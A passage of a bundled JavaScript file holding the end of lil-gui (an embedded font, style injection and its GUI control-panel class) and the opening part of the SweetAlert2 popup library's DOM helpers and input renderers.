src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
}`;
function _injectStyles(cssContent) {
const injected = document.createElement("style");
injected.innerHTML = cssContent;
const before = document.querySelector("head link[rel=stylesheet], head style");
if (before) {
document.head.insertBefore(injected, before);
} else {
document.head.appendChild(injected);
}
}
let stylesInjected = false;
class GUI {
constructor({
parent,
autoPlace = parent === void 0,
container,
width,
title = "Controls",
injectStyles = true,
touchStyles = true
} = {}) {
this.parent = parent;
this.root = parent ? parent.root : this;
this.children = [];
this.controllers = [];
this.folders = [];
this._closed = false;
this._hidden = false;
this.domElement = document.createElement("div");
this.domElement.classList.add("lil-gui");
this.$title = document.createElement("div");
this.$title.classList.add("title");
this.$title.setAttribute("role", "button");
this.$title.setAttribute("aria-expanded", true);
this.$title.setAttribute("tabindex", 0);
this.$title.addEventListener("click", () => this.openAnimated(this._closed));
this.$title.addEventListener("keydown", (e) => {
if (e.code === "Enter" || e.code === "Space") {
e.preventDefault();
this.$title.click();
}
});
this.$title.addEventListener("touchstart", () => {
}, { passive: true });
this.$children = document.createElement("div");
this.$children.classList.add("children");
this.domElement.appendChild(this.$title);
this.domElement.appendChild(this.$children);
this.title(title);
if (touchStyles) {
this.domElement.classList.add("allow-touch-styles");
}
if (this.parent) {
this.parent.children.push(this);
this.parent.folders.push(this);
this.parent.$children.appendChild(this.domElement);
return;
}
this.domElement.classList.add("root");
if (!stylesInjected && injectStyles) {
_injectStyles(stylesheet);
stylesInjected = true;
}
if (container) {
container.appendChild(this.domElement);
} else if (autoPlace) {
this.domElement.classList.add("autoPlace");
document.body.appendChild(this.domElement);
}
if (width) {
this.domElement.style.setProperty("--width", width + "px");
}
this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
}
add(object, property, $1, max, step) {
if (Object($1) === $1) {
return new OptionController(this, object, property, $1);
}
const initialValue = object[property];
switch (typeof initialValue) {
case "number":
return new NumberController(this, object, property, $1, max, step);
case "boolean":
return new BooleanController(this, object, property);
case "string":
return new StringController(this, object, property);
case "function":
return new FunctionController(this, object, property);
}
console.error(`gui.add failed
property:`, property, `
object:`, object, `
value:`, initialValue);
}
addColor(object, property, rgbScale = 1) {
return new ColorController(this, object, property, rgbScale);
}
addFolder(title) {
return new GUI({ parent: this, title });
}
load(obj, recursive = true) {
if (obj.controllers) {
this.controllers.forEach((c) => {
if (c instanceof FunctionController)
return;
if (c._name in obj.controllers) {
c.load(obj.controllers[c._name]);
}
});
}
if (recursive && obj.folders) {
this.folders.forEach((f) => {
if (f._title in obj.folders) {
f.load(obj.folders[f._title]);
}
});
}
return this;
}
save(recursive = true) {
const obj = {
controllers: {},
folders: {}
};
this.controllers.forEach((c) => {
if (c instanceof FunctionController)
return;
if (c._name in obj.controllers) {
throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
}
obj.controllers[c._name] = c.save();
});
if (recursive) {
this.folders.forEach((f) => {
if (f._title in obj.folders) {
throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
}
obj.folders[f._title] = f.save();
});
}
return obj;
}
open(open2 = true) {
this._closed = !open2;
this.$title.setAttribute("aria-expanded", !this._closed);
this.domElement.classList.toggle("closed", this._closed);
return this;
}
close() {
return this.open(false);
}
show(show = true) {
this._hidden = !show;
this.domElement.style.display = this._hidden ? "none" : "";
return this;
}
hide() {
return this.show(false);
}
openAnimated(open2 = true) {
this._closed = !open2;
this.$title.setAttribute("aria-expanded", !this._closed);
requestAnimationFrame(() => {
const initialHeight = this.$children.clientHeight;
this.$children.style.height = initialHeight + "px";
this.domElement.classList.add("transition");
const onTransitionEnd = (e) => {
if (e.target !== this.$children)
return;
this.$children.style.height = "";
this.domElement.classList.remove("transition");
this.$children.removeEventListener("transitionend", onTransitionEnd);
};
this.$children.addEventListener("transitionend", onTransitionEnd);
const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
this.domElement.classList.toggle("closed", !open2);
requestAnimationFrame(() => {
this.$children.style.height = targetHeight + "px";
});
});
return this;
}
title(title) {
this._title = title;
this.$title.innerHTML = title;
return this;
}
reset(recursive = true) {
const controllers = recursive ? this.controllersRecursive() : this.controllers;
controllers.forEach((c) => c.reset());
return this;
}
onChange(callback) {
this._onChange = callback;
return this;
}
_callOnChange(controller) {
if (this.parent) {
this.parent._callOnChange(controller);
}
if (this._onChange !== void 0) {
this._onChange.call(this, {
object: controller.object,
property: controller.property,
value: controller.getValue(),
controller
});
}
}
onFinishChange(callback) {
this._onFinishChange = callback;
return this;
}
_callOnFinishChange(controller) {
if (this.parent) {
this.parent._callOnFinishChange(controller);
}
if (this._onFinishChange !== void 0) {
this._onFinishChange.call(this, {
object: controller.object,
property: controller.property,
value: controller.getValue(),
controller
});
}
}
destroy() {
if (this.parent) {
this.parent.children.splice(this.parent.children.indexOf(this), 1);
this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
}
if (this.domElement.parentElement) {
this.domElement.parentElement.removeChild(this.domElement);
}
Array.from(this.children).forEach((c) => c.destroy());
}
controllersRecursive() {
let controllers = Array.from(this.controllers);
this.folders.forEach((f) => {
controllers = controllers.concat(f.controllersRecursive());
});
return controllers;
}
foldersRecursive() {
let folders = Array.from(this.folders);
this.folders.forEach((f) => {
folders = folders.concat(f.foldersRecursive());
});
return folders;
}
}
var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
var sweetalert2_all = { exports: {} };
(function(module, exports) {
(function(global2, factory) {
module.exports = factory();
})(commonjsGlobal, function() {
var privateProps = {
awaitingPromise: /* @__PURE__ */ new WeakMap(),
promise: /* @__PURE__ */ new WeakMap(),
innerParams: /* @__PURE__ */ new WeakMap(),
domCache: /* @__PURE__ */ new WeakMap()
};
const swalPrefix = "swal2-";
const prefix = (items) => {
const result = {};
for (const i in items) {
result[items[i]] = swalPrefix + items[i];
}
return result;
};
const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
const consolePrefix = "SweetAlert2:";
const uniqueArray = (arr) => {
const result = [];
for (let i = 0; i < arr.length; i++) {
if (result.indexOf(arr[i]) === -1) {
result.push(arr[i]);
}
}
return result;
};
const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
const warn = (message) => {
console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
};
const error = (message) => {
console.error(`${consolePrefix} ${message}`);
};
const previousWarnOnceMessages = [];
const warnOnce = (message) => {
if (!previousWarnOnceMessages.includes(message)) {
previousWarnOnceMessages.push(message);
warn(message);
}
};
const warnAboutDeprecation = (deprecatedParam, useInstead) => {
warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
};
const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
const elementBySelector = (selectorString) => {
const container = getContainer();
return container ? container.querySelector(selectorString) : null;
};
const elementByClass = (className) => {
return elementBySelector(`.${className}`);
};
const getPopup = () => elementByClass(swalClasses.popup);
const getIcon = () => elementByClass(swalClasses.icon);
const getIconContent = () => elementByClass(swalClasses["icon-content"]);
const getTitle = () => elementByClass(swalClasses.title);
const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
const getImage = () => elementByClass(swalClasses.image);
const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
const getInputLabel = () => elementByClass(swalClasses["input-label"]);
const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
const getActions = () => elementByClass(swalClasses.actions);
const getFooter = () => elementByClass(swalClasses.footer);
const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
const getCloseButton = () => elementByClass(swalClasses.close);
const focusable = `
a[href],
area[href],
input:not([disabled]),
select:not([disabled]),
textarea:not([disabled]),
button:not([disabled]),
iframe,
object,
embed,
[tabindex="0"],
[contenteditable],
audio[controls],
video[controls],
summary
`;
const getFocusableElements = () => {
const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
const tabindexA = parseInt(a.getAttribute("tabindex"));
const tabindexB = parseInt(b.getAttribute("tabindex"));
if (tabindexA > tabindexB) {
return 1;
} else if (tabindexA < tabindexB) {
return -1;
}
return 0;
});
const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
};
const isModal = () => {
return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
};
const isToast = () => {
return getPopup() && hasClass(getPopup(), swalClasses.toast);
};
const isLoading = () => {
return getPopup().hasAttribute("data-loading");
};
const states = {
previousBodyPadding: null
};
const setInnerHtml = (elem, html) => {
elem.textContent = "";
if (html) {
const parser = new DOMParser();
const parsed = parser.parseFromString(html, `text/html`);
Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
elem.appendChild(child);
});
Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
elem.appendChild(child.cloneNode(true));
} else {
elem.appendChild(child);
}
});
}
};
const hasClass = (elem, className) => {
if (!className) {
return false;
}
const classList = className.split(/\s+/);
for (let i = 0; i < classList.length; i++) {
if (!elem.classList.contains(classList[i])) {
return false;
}
}
return true;
};
const removeCustomClasses = (elem, params) => {
Array.from(elem.classList).forEach((className) => {
if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
elem.classList.remove(className);
}
});
};
const applyCustomClass = (elem, params, className) => {
removeCustomClasses(elem, params);
if (params.customClass && params.customClass[className]) {
if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
return;
}
addClass(elem, params.customClass[className]);
}
};
const getInput$1 = (popup, inputClass) => {
if (!inputClass) {
return null;
}
switch (inputClass) {
case "select":
case "textarea":
case "file":
return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
case "checkbox":
return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
case "radio":
return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
case "range":
return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
default:
return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
}
};
const focusInput = (input) => {
input.focus();
if (input.type !== "file") {
const val = input.value;
input.value = "";
input.value = val;
}
};
const toggleClass = (target, classList, condition) => {
if (!target || !classList) {
return;
}
if (typeof classList === "string") {
classList = classList.split(/\s+/).filter(Boolean);
}
classList.forEach((className) => {
if (Array.isArray(target)) {
target.forEach((elem) => {
condition ? elem.classList.add(className) : elem.classList.remove(className);
});
} else {
condition ? target.classList.add(className) : target.classList.remove(className);
}
});
};
const addClass = (target, classList) => {
toggleClass(target, classList, true);
};
const removeClass = (target, classList) => {
toggleClass(target, classList, false);
};
const getDirectChildByClass = (elem, className) => {
const children = Array.from(elem.children);
for (let i = 0; i < children.length; i++) {
const child = children[i];
if (child instanceof HTMLElement && hasClass(child, className)) {
return child;
}
}
};
const applyNumericalStyle = (elem, property, value) => {
if (value === `${parseInt(value)}`) {
value = parseInt(value);
}
if (value || parseInt(value) === 0) {
elem.style[property] = typeof value === "number" ? `${value}px` : value;
} else {
elem.style.removeProperty(property);
}
};
const show = function(elem) {
let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
elem.style.display = display;
};
const hide = (elem) => {
elem.style.display = "none";
};
const setStyle = (parent, selector, property, value) => {
const el = parent.querySelector(selector);
if (el) {
el.style[property] = value;
}
};
const toggle = function(elem, condition) {
let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
condition ? show(elem, display) : hide(elem);
};
const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
const hasCssAnimation = (elem) => {
const style = window.getComputedStyle(elem);
const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
return animDuration > 0 || transDuration > 0;
};
const animateTimerProgressBar = function(timer) {
let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
const timerProgressBar = getTimerProgressBar();
if (isVisible$1(timerProgressBar)) {
if (reset) {
timerProgressBar.style.transition = "none";
timerProgressBar.style.width = "100%";
}
setTimeout(() => {
timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
timerProgressBar.style.width = "0%";
}, 10);
}
};
const stopTimerProgressBar = () => {
const timerProgressBar = getTimerProgressBar();
const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
timerProgressBar.style.removeProperty("transition");
timerProgressBar.style.width = "100%";
const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
timerProgressBar.style.removeProperty("transition");
timerProgressBar.style.width = `${timerProgressBarPercent}%`;
};
const RESTORE_FOCUS_TIMEOUT = 100;
const globalState = {};
const focusPreviousActiveElement = () => {
if (globalState.previousActiveElement instanceof HTMLElement) {
globalState.previousActiveElement.focus();
globalState.previousActiveElement = null;
} else if (document.body) {
document.body.focus();
}
};
const restoreActiveElement = (returnFocus) => {
return new Promise((resolve) => {
if (!returnFocus) {
return resolve();
}
const x = window.scrollX;
const y = window.scrollY;
globalState.restoreFocusTimeout = setTimeout(() => {
focusPreviousActiveElement();
resolve();
}, RESTORE_FOCUS_TIMEOUT);
window.scrollTo(x, y);
});
};
const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
const sweetHTML = `
<div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
<button type="button" class="${swalClasses.close}"></button>
<ul class="${swalClasses["progress-steps"]}"></ul>
<div class="${swalClasses.icon}"></div>
<img class="${swalClasses.image}" />
<h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
<div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
<input class="${swalClasses.input}" />
<input type="file" class="${swalClasses.file}" />
<div class="${swalClasses.range}">
<input type="range" />
<output></output>
</div>
<select class="${swalClasses.select}"></select>
<div class="${swalClasses.radio}"></div>
<label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
<input type="checkbox" />
<span class="${swalClasses.label}"></span>
</label>
<textarea class="${swalClasses.textarea}"></textarea>
<div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
<div class="${swalClasses.actions}">
<div class="${swalClasses.loader}"></div>
<button type="button" class="${swalClasses.confirm}"></button>
<button type="button" class="${swalClasses.deny}"></button>
<button type="button" class="${swalClasses.cancel}"></button>
</div>
<div class="${swalClasses.footer}"></div>
<div class="${swalClasses["timer-progress-bar-container"]}">
<div class="${swalClasses["timer-progress-bar"]}"></div>
</div>
</div>
`.replace(/(^|\n)\s*/g, "");
const resetOldContainer = () => {
const oldContainer = getContainer();
if (!oldContainer) {
return false;
}
oldContainer.remove();
removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
return true;
};
const resetValidationMessage$1 = () => {
globalState.currentInstance.resetValidationMessage();
};
const addInputChangeListeners = () => {
const popup = getPopup();
const input = getDirectChildByClass(popup, swalClasses.input);
const file = getDirectChildByClass(popup, swalClasses.file);
const range = popup.querySelector(`.${swalClasses.range} input`);
const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
const select = getDirectChildByClass(popup, swalClasses.select);
const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
const textarea = getDirectChildByClass(popup, swalClasses.textarea);
input.oninput = resetValidationMessage$1;
file.onchange = resetValidationMessage$1;
select.onchange = resetValidationMessage$1;
checkbox.onchange = resetValidationMessage$1;
textarea.oninput = resetValidationMessage$1;
range.oninput = () => {
resetValidationMessage$1();
rangeOutput.value = range.value;
};
range.onchange = () => {
resetValidationMessage$1();
rangeOutput.value = range.value;
};
};
const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
const setupAccessibility = (params) => {
const popup = getPopup();
popup.setAttribute("role", params.toast ? "alert" : "dialog");
popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
if (!params.toast) {
popup.setAttribute("aria-modal", "true");
}
};
const setupRTL = (targetElement) => {
if (window.getComputedStyle(targetElement).direction === "rtl") {
addClass(getContainer(), swalClasses.rtl);
}
};
const init = (params) => {
const oldContainerExisted = resetOldContainer();
if (isNodeEnv()) {
error("SweetAlert2 requires document to initialize");
return;
}
const container = document.createElement("div");
container.className = swalClasses.container;
if (oldContainerExisted) {
addClass(container, swalClasses["no-transition"]);
}
setInnerHtml(container, sweetHTML);
const targetElement = getTarget(params.target);
targetElement.appendChild(container);
setupAccessibility(params);
setupRTL(targetElement);
addInputChangeListeners();
};
const parseHtmlToContainer = (param, target) => {
if (param instanceof HTMLElement) {
target.appendChild(param);
} else if (typeof param === "object") {
handleObject(param, target);
} else if (param) {
setInnerHtml(target, param);
}
};
const handleObject = (param, target) => {
if (param.jquery) {
handleJqueryElem(target, param);
} else {
setInnerHtml(target, param.toString());
}
};
const handleJqueryElem = (target, elem) => {
target.textContent = "";
if (0 in elem) {
for (let i = 0; i in elem; i++) {
target.appendChild(elem[i].cloneNode(true));
}
} else {
target.appendChild(elem.cloneNode(true));
}
};
const animationEndEvent = (() => {
if (isNodeEnv()) {
return false;
}
const testEl = document.createElement("div");
const transEndEventNames = {
WebkitAnimation: "webkitAnimationEnd",
animation: "animationend"
};
for (const i in transEndEventNames) {
if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
return transEndEventNames[i];
}
}
return false;
})();
const measureScrollbar = () => {
const scrollDiv = document.createElement("div");
scrollDiv.className = swalClasses["scrollbar-measure"];
document.body.appendChild(scrollDiv);
const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
document.body.removeChild(scrollDiv);
return scrollbarWidth;
};
const renderActions = (instance, params) => {
const actions = getActions();
const loader = getLoader();
if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
hide(actions);
} else {
show(actions);
}
applyCustomClass(actions, params, "actions");
renderButtons(actions, loader, params);
setInnerHtml(loader, params.loaderHtml);
applyCustomClass(loader, params, "loader");
};
function renderButtons(actions, loader, params) {
const confirmButton = getConfirmButton();
const denyButton = getDenyButton();
const cancelButton = getCancelButton();
renderButton(confirmButton, "confirm", params);
renderButton(denyButton, "deny", params);
renderButton(cancelButton, "cancel", params);
handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
if (params.reverseButtons) {
if (params.toast) {
actions.insertBefore(cancelButton, confirmButton);
actions.insertBefore(denyButton, confirmButton);
} else {
actions.insertBefore(cancelButton, loader);
actions.insertBefore(denyButton, loader);
actions.insertBefore(confirmButton, loader);
}
}
}
function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
if (!params.buttonsStyling) {
removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
return;
}
addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
if (params.confirmButtonColor) {
confirmButton.style.backgroundColor = params.confirmButtonColor;
addClass(confirmButton, swalClasses["default-outline"]);
}
if (params.denyButtonColor) {
denyButton.style.backgroundColor = params.denyButtonColor;
addClass(denyButton, swalClasses["default-outline"]);
}
if (params.cancelButtonColor) {
cancelButton.style.backgroundColor = params.cancelButtonColor;
addClass(cancelButton, swalClasses["default-outline"]);
}
}
function renderButton(button, buttonType, params) {
toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
setInnerHtml(button, params[`${buttonType}ButtonText`]);
button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
button.className = swalClasses[buttonType];
applyCustomClass(button, params, `${buttonType}Button`);
addClass(button, params[`${buttonType}ButtonClass`]);
}
const renderCloseButton = (instance, params) => {
const closeButton = getCloseButton();
setInnerHtml(closeButton, params.closeButtonHtml);
applyCustomClass(closeButton, params, "closeButton");
toggle(closeButton, params.showCloseButton);
closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
};
const renderContainer = (instance, params) => {
const container = getContainer();
if (!container) {
return;
}
handleBackdropParam(container, params.backdrop);
handlePositionParam(container, params.position);
handleGrowParam(container, params.grow);
applyCustomClass(container, params, "container");
};
function handleBackdropParam(container, backdrop) {
if (typeof backdrop === "string") {
container.style.background = backdrop;
} else if (!backdrop) {
addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
}
}
function handlePositionParam(container, position) {
if (position in swalClasses) {
addClass(container, swalClasses[position]);
} else {
warn('The "position" parameter is not valid, defaulting to "center"');
addClass(container, swalClasses.center);
}
}
function handleGrowParam(container, grow) {
if (grow && typeof grow === "string") {
const growClass = `grow-${grow}`;
if (growClass in swalClasses) {
addClass(container, swalClasses[growClass]);
}
}
}
const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
const renderInput = (instance, params) => {
const popup = getPopup();
const innerParams = privateProps.innerParams.get(instance);
const rerender = !innerParams || params.input !== innerParams.input;
inputClasses.forEach((inputClass) => {
const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
setAttributes(inputClass, params.inputAttributes);
inputContainer.className = swalClasses[inputClass];
if (rerender) {
hide(inputContainer);
}
});
if (params.input) {
if (rerender) {
showInput(params);
}
setCustomClass(params);
}
};
const showInput = (params) => {
if (!renderInputType[params.input]) {
error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
return;
}
const inputContainer = getInputContainer(params.input);
const input = renderInputType[params.input](inputContainer, params);
show(inputContainer);
setTimeout(() => {
focusInput(input);
});
};
const removeAttributes = (input) => {
for (let i = 0; i < input.attributes.length; i++) {
const attrName = input.attributes[i].name;
if (!["type", "value", "style"].includes(attrName)) {
input.removeAttribute(attrName);
}
}
};
const setAttributes = (inputClass, inputAttributes) => {
const input = getInput$1(getPopup(), inputClass);
if (!input) {
return;
}
removeAttributes(input);
for (const attr in inputAttributes) {
input.setAttribute(attr, inputAttributes[attr]);
}
};
const setCustomClass = (params) => {
const inputContainer = getInputContainer(params.input);
if (typeof params.customClass === "object") {
addClass(inputContainer, params.customClass.input);
}
};
const setInputPlaceholder = (input, params) => {
if (!input.placeholder || params.inputPlaceholder) {
input.placeholder = params.inputPlaceholder;
}
};
const setInputLabel = (input, prependTo, params) => {
if (params.inputLabel) {
input.id = swalClasses.input;
const label = document.createElement("label");
const labelClass = swalClasses["input-label"];
label.setAttribute("for", input.id);
label.className = labelClass;
if (typeof params.customClass === "object") {
addClass(label, params.customClass.inputLabel);
}
label.innerText = params.inputLabel;
prependTo.insertAdjacentElement("beforebegin", label);
}
};
const getInputContainer = (inputType) => {
return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
};
const checkAndSetInputValue = (input, inputValue) => {
if (["string", "number"].includes(typeof inputValue)) {
input.value = `${inputValue}`;
} else if (!isPromise(inputValue)) {
warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
}
};
const renderInputType = {};
renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
checkAndSetInputValue(input, params.inputValue);
setInputLabel(input, input, params);
setInputPlaceholder(input, params);
input.type = params.input;
return input;
};
renderInputType.file = (input, params) => {
setInputLabel(input, input, params);
setInputPlaceholder(input, params);
return input;
};
renderInputType.range = (range, params) => {
const rangeInput = range.querySelector("input");
const rangeOutput = range.querySelector("output");
checkAndSetInputValue(rangeInput, params.inputValue);
rangeInput.type = params.input;
checkAndSetInputValue(rangeOutput, params.inputValue);
setInputLabel(rangeInput, range, params);
return range;
};
renderInputType.select = (select, params) => {
select.textContent = "";
if (params.inputPlaceholder) {
const placeholder = document.createElement("option");
setInnerHtml(placeholder, params.inputPlaceholder);
placeholder.value = "";
placeholder.disabled = true;
placeholder.selected = true;
select.appendChild(placeholder);
}
setInputLabel(select, select, params);
return select;
};
renderInputType.radio = (radio) => {
radio.textContent = "";
return radio;
};
renderInputType.checkbox = (checkboxContainer, params) => {
const checkbox = getInput$1(getPopup(), "checkbox");
checkbox.value = "1";
checkbox.id = swalClasses.checkbox;
checkbox.checked = Boolean(params.inputValue);
const label = checkboxContainer.querySelector("span");
setInnerHtml(label, params.inputPlaceholder);
return checkbox;
};
